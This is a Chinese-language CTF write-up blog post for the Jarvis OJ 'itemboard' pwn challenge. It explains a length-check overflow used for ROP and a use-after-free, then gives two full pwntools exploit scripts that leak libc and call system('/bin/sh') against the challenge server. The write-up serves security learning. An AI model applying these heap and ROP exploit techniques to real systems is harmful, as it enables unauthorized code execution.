pwn jarvis itemboard writeup

原创

charlie_heng 于 2018-01-22 19:45:41 发布 513 收藏

分类专栏： pwn

本文链接：https://blog.csdn.net/charlie_heng/article/details/79132803

这题真心坑。。。本地做出来了，但是连上服务器就不行，目测是堆地址中有一个\x00。。。。

这题有几个漏洞

第一个是，没有对new item 的大小做判断，可以越界直接rop
第二个是，delete_note的操作其实并没有用，只free掉了，但是array那里还存着地址，所以就可以uaf

其实这题单纯uaf都可以做出来的，但是rop也可以用上

来说下思路
1. 获取libc地址
首先new两个item，大小要在small bin范围内， 然后delete 掉第一个，这个时候就有一个指针指向main arean了，用show就可以泄漏出地址，但是这个只是main arean的地址，如果要libc基址的话，还要减去一个偏移，这个偏移可以用ida解析libc.so，然后看got段上面那个LOAD段，这里有个DT_PLTGOT，这里存的值就是偏移了

2.rop或者uaf
两个其实都是控制流劫持，我们先来说下rop的思路吧，先填充1024个，然后填一个length，再填一个地址，这里的地址可以用上面获取libc地址时拿到的地址-8，上面那个libc的地址指向的是main arean，main arean第一个地址指向的是堆的top chunk，所以填上这个地址之后实际上是往top chunk 那里strcpy，不过这里rop之后又不用管堆的东西了，所以无所谓，然后根据获取到的libc基址，直接rop来个system('/bin/sh')

接着来说下uaf的思路，这里首先把获取libc地址那一步的另一个堆给free掉，然后再new 一个堆，这个堆的name就是第一个堆的位置，所以只要往这里塞/bin/sh，然后把free那个指针改成system就可以了

payload如下

rop：

```
from pwn import *
import struct

debug=0
context.log_level='debug'
context.arch='amd64'
ef=ELF('./itemboard')
if debug:
    p=process('./itemboard')
    gdb.attach(proc.pidof(p)[0])
    e=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    p=ROP(e)
```

```
    r=ROP(e)
    offset=0x399000
else:
    p=remote('pwn2.jarvisoj.com', 9887)
    e=ELF('./libc.so')
    r=ROP(e)
    offset=0x3be000

def add_item(name,length,desc):
    p.sendline('1')
    p.recvuntil('Item name?')
    p.sendline(name)
    p.recvuntil("Description's len?")
    p.sendline(str(length))
    p.recvuntil('Description?')
    p.send(desc)
    p.recvuntil('Add Item Successfully!')

def list_item():
    p.sendline('2')
    p.recvuntil('Item list')
    data=p.recvuntil('1.')[:-3]
    p.recvuntil('choose:')
    return data

def show_item(index):
    p.sendline('3')
    p.recvuntil('Which item?')
    p.sendline(str(index))
    data=p.recvuntil('1.')[:-3]
    p.recvuntil('choose:')
    return data

def delete_item(index):
    p.sendline('4')
    p.recvuntil("Which item?")
    p.sendline(str(index))

add_item('t',0x100,'\x0a')
add_item('t',0x100,'\x0a')
delete_item(0)
data=show_item(0)
d=data.index('ion:')+4
libc=data[d:d+6]+'\x00\x00'
libc=struct.unpack('<Q',libc)[0]
t=libc
libc=libc-libc%0x1000-offset


binsh=libc+e.search('/bin/sh').next()
system=libc+e.symbols['system']

payload='a'*1024+p64(t-8)*3
payload+= p64(r.rdi[0]+libc)+p64(binsh)+p64(system)
raw_input()
add_item('t',len(payload),payload)

p.interactive()
```

uaf

```
from pwn import *
import struct

debug=0
context.log_level='debug'
context.arch='amd64'
ef=ELF('./itemboard')
if debug:
    p=process('./itemboard')
    gdb.attach(proc.pidof(p)[0])
    e=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    r=ROP(e)
    offset=0x399000
else:
    p=remote('pwn2.jarvisoj.com', 9887)
    e=ELF('./libc.so')
    r=ROP(e)
    offset=0x3be000

def add_item(name,length,desc):
    p.sendline('1')
    p.recvuntil('Item name?')
    p.sendline(name)
    p.recvuntil("Description's len?")
    p.sendline(str(length))
    p.recvuntil('Description?')
    p.send(desc)
    p.recvuntil('Add Item Successfully!')

def list_item():
    p.sendline('2')
    p.recvuntil('Item list')
    data=p.recvuntil('1.')[:-3]
    p.recvuntil('choose:')
    return data

def show_item(index):
    p.sendline('3')
    p.recvuntil('Which item?')
    p.sendline(str(index))
    data=p.recvuntil('1.')[:-3]
    p.recvuntil('choose:')
    return data

def delete_item(index):
    p.sendline('4')
    p.recvuntil("Which item?")
    p.sendline(str(index))

add_item('t',0x100,'\x0a')
add_item('t',0x100,'\x0a')
delete_item(0)
data=show_item(0)
d=data.index('ion:')+4
libc=data[d:d+6]+'\x00\x00'
libc=struct.unpack('<Q',libc)[0]
t=libc
```

```
libc=libc-libc%0x1000-offset


binsh=libc+e.search('/bin/sh').next()
system=libc+e.symbols['system']

delete_item(1)

add_item('/bin/sh;EEEEEEEE'+p64(system),24,'\x0a')
delete_item(0)

p.interactive()
```